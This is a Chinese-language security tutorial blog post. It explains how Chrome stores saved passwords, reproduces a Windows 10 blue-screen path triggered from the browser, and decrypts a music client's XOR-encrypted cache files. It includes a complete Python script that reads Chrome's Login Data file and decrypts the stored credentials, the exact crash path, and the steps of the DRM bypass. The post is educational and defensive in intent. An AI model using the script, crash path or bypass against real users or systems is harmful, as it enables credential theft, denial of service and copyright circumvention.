[系統安全] 十五.Chrome密碼保存功能滲透解析、Chrome藍屏漏洞及音樂軟件漏洞復現

您可能之前看到過我寫的類似文章,爲什麼還要重複撰寫呢?只是想更好地幫助初學者瞭解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列。因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史。換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什麼程度,漫漫長征路,偏向虎山行。享受過程,一起加油~

作者前面詳細介紹了熊貓燒香病毒的逆向分析過程。這篇文章換個主題繼續介紹,本文將對Chrome瀏覽器保留密碼的功能進行滲透解析;同時復現一個最近流行的漏洞,通過Chrome瀏覽器實現Win10藍屏;最後介紹音樂軟件的加密功能及漏洞復現。這些基礎性知識不僅和系統安全相關,同樣與我們身邊的APP、常用軟件及系統緊密聯繫,希望這些知識對您有所幫助,更希望大家提高安全意識,開發廠商進行相關的漏洞修補,安全保障任重道遠。

在這裏插入圖片描述

從2019年7月開始,我來到了一個陌生的專業——網絡空間安全。初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇“網絡安全自學”系列文章,艱難前行着。感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!

接下來我將開啓新的安全系列,叫“系統安全”,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網絡攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~

作者的github資源:

前文分析:

聲明:本人堅決反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。該樣本不會分享給大家,分析工具會分享。(參考文獻見後)


一.Chrome瀏覽器密碼保存功能解析

1.Chrome密碼保存功能

大家可能都見過瀏覽器保存密碼的功能,那麼,Chrome瀏覽器是如何存儲這些用戶名和密碼呢?它是否也不安全呢?我們以Chrome瀏覽器爲例進行安全測試知識普及。

在這裏插入圖片描述

首先,打開密碼管理器。設置->高級->密碼,或者輸入:

  • chrome://settings/passwords

在這裏插入圖片描述

然後,我們查看某個網站的密碼。所幸,Chrome瀏覽器對顯示的密碼進行了一道驗證,需要輸入正確的電腦賬戶密碼才能查看,如下圖所示。

  • 爲了執行加密(在Windows操作系統上),Chrome使用了Windows提供的API,該API只允許用於加密密碼的Windows用戶賬戶去解密已加密的數據。所以基本上來說,你的主密碼就是你的Windows賬戶密碼。所以,只要你登錄了自己的Windows賬號,Chrome就可以解密加密數據。

在這裏插入圖片描述

最後,輸出Windows賬戶正確顯示對應網站的密碼。

在這裏插入圖片描述

安全普及:
由於Windows賬戶密碼是一個常量,並不是只有Chrome才能讀取“主密碼”,其他外部工具也能獲取加密數據,同樣也可以解密加密數據。比如使用NirSoft的免費工具ChromePass(NirSoft官方下載) ,就可以看得你已保存的密碼數據,並且可以輕鬆導出爲文本文件。 既然ChromePass可以讀取加密的密碼數據,那麼惡意軟件也是能讀取的。

注意,當ChromePass.exe被上傳至VirusTotal 時,超過半數的反病毒(AV)引擎會標記這一行爲是危險級別。不過微軟的Security Essentials並沒有把這一行爲標記爲危險。

假設你的電腦被盜,小偷重設了Windows賬號密碼。如果他們隨後嘗試在Chrome中查看你的密碼,或用ChromePass來查看,密碼數據都是不可用。原因很簡單,因爲“主密碼”並不匹配,所以解密失敗。此外,如果有人把那個SQLite數據庫文件複製走了,並嘗試在另外一臺電腦上打開,ChromePass也將顯示空密碼,原因同上。

  • 綜合結論:Chrome瀏覽器中已保存密碼的安全性一定程度上取決於用戶本身。

2.密碼元素定位

首先,我們在Web滲透或Python網絡爬蟲中,都知道分析網頁DOM樹結構可以定位指定元素。那麼,作者能不能修改input密碼的屬性,讓它顯示密碼呢?如下圖所示:

在這裏插入圖片描述

再次幸運,Chrome應該已經解決了該漏洞,顯示空白。

在這裏插入圖片描述


3.密碼提取復現

接下來,作者嘗試獲取本地Chrome瀏覽器登錄的賬戶信息。

第一步,找到密碼存儲的位置,文件或者是註冊表。
這個時候需要開啓監控工具Process Monitor(後面的文章會詳細介紹),查看打開註冊表和文件操作信息。然後到chrome密碼管理界面,隨便刪除一條記錄,然後看看chrome本身對哪些文件或者註冊表進行了修改。推薦TK13大神文章:

  • https://blog.csdn.net/u013761036/article/details/53822036

在這裏插入圖片描述

同樣,可以直接尋找文件,通常用戶名文件的存儲路徑爲:

  • C:\Users\用戶名\AppData\Local\Google\Chrome\User Data\Default

第二步,找到如下圖所示的文件——Login Data

在這裏插入圖片描述

第三步,打開這個文件,還好這個文件是加密的,而不是明文存儲。

在這裏插入圖片描述

雖然該文件加密了,但是可以看到它是 SQLite format 3 的格式。接着通過工具讀取該數據。這裏使用 Navicat Premium工具。

Navicat premium是一款數據庫管理工具,是一個可多重連線資料庫的管理工具,它可以讓你以單一程式同時連線到 MySQL、SQLite、Oracle 及 PostgreSQL 資料庫,讓管理不同類型的資料庫更加的方便。

在這裏插入圖片描述

第四步,打開Navicat premium,新建連接。

在這裏插入圖片描述

第五步,輸入連接名如“test0803”,並導入本地的“Login Data”數據。

在這裏插入圖片描述

第六步,打開之後在“main”數據庫中包含了三張表,其中logins爲登錄表。

在這裏插入圖片描述

新版本表增加如下圖所示:

在這裏插入圖片描述

第七步,打開如下所示,比如163郵箱的用戶名爲我的電話,密碼是加密的。

在這裏插入圖片描述

第八步,解密思想。
想要解密一個加密算法是很難的。這學習TK13大神的文章,瞭解到Chrome開源的加密函數CryptProtectData和CryptUnprotectData。這對加解密函數非常特別,調用的時候會去驗證本地登錄身份,這也就是爲什麼別人的那個密碼文檔不能直接拷貝到我們自己chrome相關文件夾下去看的原因了。

接下來是代碼實現,找到開源的Sqllite3庫,把數據庫解析出來,然後得到密碼的加密數據,用CryptUnprotectData解密。注意,如果chrome開啓的時候直接對這個數據庫文件操作會失敗,建議每次操作先把文件拷貝出來再處理。

第九步,使用AnalysisChromeLogin.exe工具進行解密。將Login Data放置到同一個文件夾下運行即可。

  • 下載地址:http://download.csdn.net/detail/u013761036/9719029

在這裏插入圖片描述

滲透結論:是不是很可怕,所以個人電腦大家一定要保護好開機密碼,別輕易讓壞人使用。後續嘗試破殼看看這個EXE程序源代碼是如何解析的。


4.Chrome瀏覽器密碼存儲機制

下面分享N1ckw0rm大神講解的Chrome瀏覽器密碼存儲機制。谷歌瀏覽器加密後的密鑰存儲於%APPDATA%…\Local\Google\ Chrome\User Data\Default\Login Data 下的一個SQLite數據庫中。那麼他是如何加密的呢,通過開源的Chromium,我們來一探究竟:

首先,我們作爲用戶登錄一個網站時,會在表單提交Username以及Password相應的值,Chrome會首先判斷此次登錄是否是一次成功的登錄,部分判斷代碼如下:

Provisional_save_manager_->SubmitPassed();  
    if (provisional_save_manager_->HasGeneratedPassword())  
        UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);  
    If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword(){
   
         
        Delegate_->AddSavePasswordInfoBarIfPermitted(  
        Provisional_save_manager_.release());  
} else {  
provisional_save_manager_->Save();  
Provisional_save_manager_.reset();

當我們登錄成功時,並且使用的是一套新的證書(也就是說是xx次登錄該網站),Chrome就會詢問我們是否需要記住密碼。

那麼登錄成功後,密碼是如何被Chrome存儲的呢?答案在EncryptedString函數,通過調用EncryptString16函數,代碼如下:

Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {
   
         
    DATA_BLOB input;  
    Input.pbData = static_cast<DWORD>(plaintext.length());  
      
    DATA_BLOB output;  
    BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);  
    if (!result)  
        Return false;  
//複製操作  
Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);  
 
LocalFree(output.pbData);  
Return true;  
}  

代碼利用了Widows API函數CryptProtectData(前面提到過)來加密。當我們擁有證書時,密碼就會被回覆給我們使用。在我們得到服務器權限後,證書的問題已經不用考慮了,所以接下來就可以獲得這些密碼。

下面通過Python代碼實現從環境變量中讀取Login Data文件的數據,再獲取用戶名和密碼,並將接收的結果通過win32crypt.CryptUnprotectData解密密碼。

google_path = r’ Google\Chrome\User Data\Default\Login Data’  
file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)  
 
#Login Data文件可以利用python中的sqlite3庫來操作。  
conn = sqlite3.connect(file_path)  
for row in conn.execute('select username_value, password_value, signon_realm from logins'):  
#利用Win32crpt.CryptUnprotectData來對通過加密的密碼進行解密操作。  
    cursor = conn.cursor()  
    cursor.execute('select username_value, password_value, signon_realm from logins')  
 
#接收全部返回結果
#利用win32crypt.CryptUnprotectData解密後,通過輸出passwd這個元組中內容,獲取Chrome瀏覽器存儲的密碼
for data in cursor.fetchall():  
    passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  

用CryptUnprotectData函數解密,與之對應的是前面提到的CryptProtectData,理論上來說CryptProtectData加密的文本內容,都可以通過CryptUnprotectData函數來解密。對其他服務的解密方式,大家可以自行嘗試。

完整的腳本代碼如下所示:

#coding:utf8  
import os, sys  
import sqlite3  
import win32crypt  
 
 
google_path = r'Google\Chrome\User Data\Default\Login Data' 

db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)  
conn = sqlite3.connect(db_file_path)  
cursor = conn.cursor()  
cursor.execute('select username_value, password_value, signon_realm from logins')  
 
#接收全部返回結果  
for data in cursor.fetchall():  
    passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)  
      
    if passwd:  
        print '-------------------------' 
        print u'[+]用戶名: ' + data[0]   
        print u'[+]密碼: ' + passwd[1]   
        print u'[+]網站URL: ' + data[2]  

5.安全建議

個人安全建議:

  • 電腦不用輕易借給他人使用,除非身邊非常信任的人。
  • 非私人電腦一定不能讓瀏覽器保存密碼。
  • 設定一些易於記住的密碼,瀏覽器裏登錄時重要賬戶選擇不要保存密碼,每次登錄手動輸入。
  • 離開電腦務必記得隨時鎖屏或者關機,登錄系統一定要設定密碼。
  • 使用一個極高強度的Windows賬號密碼。必須記住,有不少工具可以解密Windows賬號密碼。如果有人獲取了你的Windows賬號密碼,那他也就可以知道你在Chrome已保存的密碼。
  • 遠離各種各樣的惡意軟件。如果工具可以輕易獲取你已保存的密碼,那惡意軟件和那些僞安全軟件同樣可以做到。如果非得下載軟件,請到軟件官方網站去下載。
  • 把密碼保存至密碼管理軟件中(如KeePass),或使用可以整合到Chrome中的第三方工具(如LastPass),使用主密碼來管理你的那些密碼。
  • 用工具(如TrueCrypt)完全加密整個硬盤,並且非私人電腦一定不能讓瀏覽器保存密碼。

二.Chrome致Win10藍屏漏洞復現

接下來補充一個2021年初大家會遇到的Chrome瀏覽器導致Win10藍屏的漏洞。

注意:該漏洞請勿輕易測試,需要在個人虛擬機上測試,測試前先保存好資料。本人堅決反對利用教學方法進行犯罪的行爲,一切犯罪行爲必將受到嚴懲,綠色網絡需要我們共同維護,更推薦大家瞭解它們背後的原理,更好地進行防護。

第一步,在Win10谷歌瀏覽器(建議使用虛擬機測試)中輸入命令。

\\.\globalroot\device\condrv\kernelconnect

在這裏插入圖片描述

第二步,我們的計算機就會自動藍屏重啓。
該漏洞請勿輕易測試,個人虛擬機測試前先保存好資料。漏洞可用於拒絕服務攻擊,並且微軟還未修復該漏洞,微軟edge瀏覽器也具有相同的效果。

在這裏插入圖片描述

第三步,分析漏洞原因,參考bleepingcomputer網站。

該Windows 10中的錯誤是通過在瀏覽器的地址欄中打開特定路徑或使用其他Windows命令,即可使操作系統崩潰並顯示藍屏死機。據BleepingComputer瞭解,這是Windows安全研究人員在Twitter上披露的兩個錯誤,攻擊者可以在各種攻擊中濫用這些錯誤。

  • 第一個錯誤允許無特權的用戶或程序輸入單個命令,該命令會導致NTFS卷被標記爲已損壞。該測試表明該命令導致硬盤驅動器損壞,從而導致Windows無法啓動,本文不復現該漏洞。

  • 第二個漏洞是Windows 10通過嘗試打開一條異常路徑而導致BSOD(Blue Screen of Death,藍屏死機)崩潰,致使電腦藍屏重啓。

自去年10月以來,Windows安全研究員Jonas Lykkegaard已經多次在推特上發佈了一個路徑,當輸入到 Chrome 瀏覽器地址欄時,該路徑會立即導致Windows 10崩潰並顯示BSOD(藍屏死機)。

當開發人員想要直接與Windows設備進行交互時,他們可以將Win32設備命名空間路徑作爲參數傳遞給Windows編程函數。例如,允許應用程序直接與物理磁盤進行交互,而無需通過文件系統。Lykkegaard告訴BleepingComputer,他發現了以下 “控制檯多路複用器驅動程序” 的 Win32 設備命名空間路徑,他認爲該路徑用於 “內核/用戶模式ipc”。當以各種方式打開該路徑時,即使是低權限用戶,也會導致 Windows 10 崩潰。

\\.\globalroot\device\condrv\kernelconnect

當連接到該設備時,開發人員應傳遞“ attach”擴展屬性以與該設備正確通信。如果你試圖在沒有傳遞屬性的情況下由於錯誤檢查不當而連接到該路徑,它將導致一個異常,最終導致Win10出現BSOD崩潰。

在這裏插入圖片描述

更糟糕的是,特權低的Windows用戶可以嘗試使用此路徑連接到設備,從而使計算機上執行的任何程序都很容易讓Windows 10崩潰。在測試中,已經確認此錯誤在Windows 10 1709版及以後的版本中存在。

winver

在這裏插入圖片描述

查看windows版本信息如下圖所示:

在這裏插入圖片描述

BleepingComputer公司上週與Microsoft聯繫,以瞭解他們是否已經知道該錯誤以及是否會修復該錯誤。微軟表示:“調查了已報告的安全問題,並承諾會盡快爲受影響的設備提供更新。”

雖然目前尚不確定此漏洞是否可用於遠程執行代碼或提升特權,但可以將其以當前形式用作對計算機的拒絕服務攻擊。BleepingComputer通過共享一個Windows URL文件(.url),其設置指向路徑:

  • \\.\globalroot\device\condrv\kernelconnect

當下載文件後,Windows 10會嘗試從有問題的路徑中呈現URL文件的圖標,並自動使Windows 10崩潰。此後,BleepingComputer發現了許多其他利用此bug的方法,包括在Windows登錄時自動導致BSOD的方法。

  • 瀏覽器能致使藍屏死機,最新微信打開文件導致BSOD的變體也出現。確實,如果瀏覽器能導致直接死機,各種變體是非常容易實現的,提醒大家升級該漏洞吧!

注意,在現實生活中,該漏洞可能會被攻擊者濫用,他們可以訪問網絡並希望在攻擊過程中掩蓋自己的蹤跡。如果他們具有管理員權限,則可以遠程執行訪問網絡上所有Windows 10設備上的此路徑的命令,以使它們崩潰。在網絡上造成的破壞可能會延遲調查或阻止管理控件檢測到特定計算機上的攻擊。2017年,在攻擊遠東國際銀行(FEIB)銀行時攻擊者就使用了類似的攻擊手法。在該攻擊中,威脅行爲者在網絡上部署了愛馬仕勒索軟件(the Hermes ransomware),以延遲對攻擊的調查。

在這裏插入圖片描述

作爲安全白帽子,我們應該發現漏洞即時通知相關廠商進行漏洞修補。既然操作系統、瀏覽器存在一些漏洞,那麼常用的軟件會存在漏洞嗎?


三.音樂軟件漏洞復現

接下來複現CSDN“鬼手56”大神的文章,他的網絡安全、Crackme、病毒分析、軟件逆向等系列文章真心推薦大家學習,包括他開源的項目,他的文章我都準備all in。

第一步,打開PC端某音樂客戶端,比如想下載周杰倫的“騎士精神”,通常會被拒絕。

第二步,此時點開設置,選中“下載設置”,找到緩存文件目錄。
C:\Users\用戶名\AppData\Local\Netease\CloudMusic\Cache\Cache

在這裏插入圖片描述

第三步,雙擊播放該歌曲,然後按照尋找最新的文件或只保留一首歌,其中後綴名爲“.uc”的最大文件就是加密過後的文件。

在這裏插入圖片描述

第四步,接在將文件拖動到010 Editor軟件,如下圖所示:它是一個加密文件,最多的數據是A3,鬼手大神成果的預測其是加密後的無意義0,通常音頻的加密方式不會太複雜,而最簡單的異或加密(可逆)。

在這裏插入圖片描述

第五步,接着點開菜單,Tools(工具),將其轉換爲“十六進制”,進行“二進制異或”操作,修改數據爲無符號十六進制,並對A3進行異或即可。

在這裏插入圖片描述

注意選擇無符號(Unsigned Byte)和異或A3。

在這裏插入圖片描述

異或加密解密:

在這裏插入圖片描述

A3 ⊕ A3 = 00

A 01100001  3  00000011
A 01100001  3  00000011
0 00000000  0  00000000

文件解密如下所示,其中A3變換爲00,解密完之後的字符變得有意義。前三個字節是ID3,這個是MP3文件格式的頭部。

在這裏插入圖片描述

最後,將文件重命名爲“.mp3”,此時可以聽歌了,“騎士精神”走起。

在這裏插入圖片描述

注意:這是一個簡單的加密過程,推薦讀者們下載正版歌曲,共同維護版權和綠色網絡環境。同時,異或加密音樂已經很多年了,希望這些開發公司優化下加密算法,解決這個漏洞。


四.總結

寫到這裏,這篇文章介紹結束,分別敘述了三個漏洞:

  • 瀏覽器漏洞
  • Windows10藍屏漏洞
  • 音樂軟件漏洞

如果你是一名新人,一定要踏踏實實親自動手去完成這些基礎的逆向分析,相信會讓你逐步提升,過程確實很痛苦,但做什麼事又不辛苦呢?加油!希望你能成長爲一名厲害的系統安全工程師或病毒分析師,到時候記得回到這篇文章的起點,告訴你的好友。

學安全一年,認識了很多安全大佬和朋友,希望大家一起進步。這篇文章中如果存在一些不足,還請海涵。作者作爲網絡安全和系統安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章。同時非常感謝參考文獻中的安全大佬們的文章分享,深知自己很菜,得努力前行。編程沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,幹就對了。什麼時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧。加油吧,少年希望這個路線對你有所幫助,共勉。

2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大數據分析、網絡空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的算法實現。娜璋之家會更加系統,並重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝。

(By:Eastmount 2021-01-21 星期四 夜於武漢 http://blog.csdn.net/eastmount/ )


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章